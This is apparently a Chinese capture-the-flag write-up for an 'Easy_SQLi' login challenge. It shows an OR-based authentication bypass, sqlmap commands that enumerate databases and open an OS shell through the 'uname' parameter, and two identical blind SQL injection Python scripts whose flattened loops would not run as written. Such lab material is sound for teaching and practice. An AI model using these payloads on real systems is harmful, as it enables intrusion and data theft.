题目:青少年:Easy_SQLi
1、打开网页,是一个登入表单
2、判断注入类型,是一个字符注入,使用or直接绕过密码进去了
3、上bp抓取数据包,sqlmmap用post注入走一遍,找到数据库,账号密码,这里的账号密码其实也没什么用,形同虚设
sqlmap注入payload:
python sqlmap.py -r "C:\Users\bixin\Desktop\dictionary\post.txt" -p uname --dbs
-r:表示指定注入的post文件路径
-p:表示注入点参数,uname
--dbs:当前服务器中的所以数据库
4、老规矩,数据表、字段挨个走一遍,但没有什么发现
5、试一下shell注入,一试一个准,直接进去了,查看一下根目录发现flag
D:\Python3.8.6\SQLmap>python sqlmap.py -r "C:\Users\bixin\Desktop\dictionary\post.txt" -p uname --os-shell
-r
-r:表示目标为一个文件,bp抓的包
-p:表示一个参数,即一个注入的口
-os-shell:进行shell注入
6、成功进入shell,查看根目录文件,发现flag
7、成功获取flag
补充:
在网上看到另外一种wp
使用的是脚本跑,没看懂,留着以后看,如下:
①:这个脚本速度快
import requests
import time
url = "http://challenge.qsnctf.com:31029/login.php" #这里放的是url,登入状态的url
flag = ""
for num in range(1,100):for i in range(33,127) :data = {'uname':"' or 1=1 and ascii(substr((select group_concat(password) from information_schema.columns where table_schema=database()),{0},1))={1}#".format(num,i),'psw':'1'}res = requests.post(url = url, data = data)time.sleep(0.05)if res.text == "Login successful" :flag += chr(i)break
print(flag)
②这个脚本速度慢
import requests
import time
url = "http://challenge.qsnctf.com:31029/login.php" #这里放的是url,登入状态的url
flag = ""
for num in range(1,100):for i in range(33,127) :data = {'uname':"' or 1=1 and ascii(substr((select group_concat(password) from information_schema.columns where table_schema=database()),{0},1))={1}#".format(num,i),'psw':'1'}res = requests.post(url = url, data = data)time.sleep(0.05)if res.text == "Login successful" :flag += chr(i)break
print(flag)
总结:
1、先测试是否存在sql注入,有无回显
2、出现登入表单,第一时间采用post注入
3、发现数据库没有机会的情况,换os-shell注入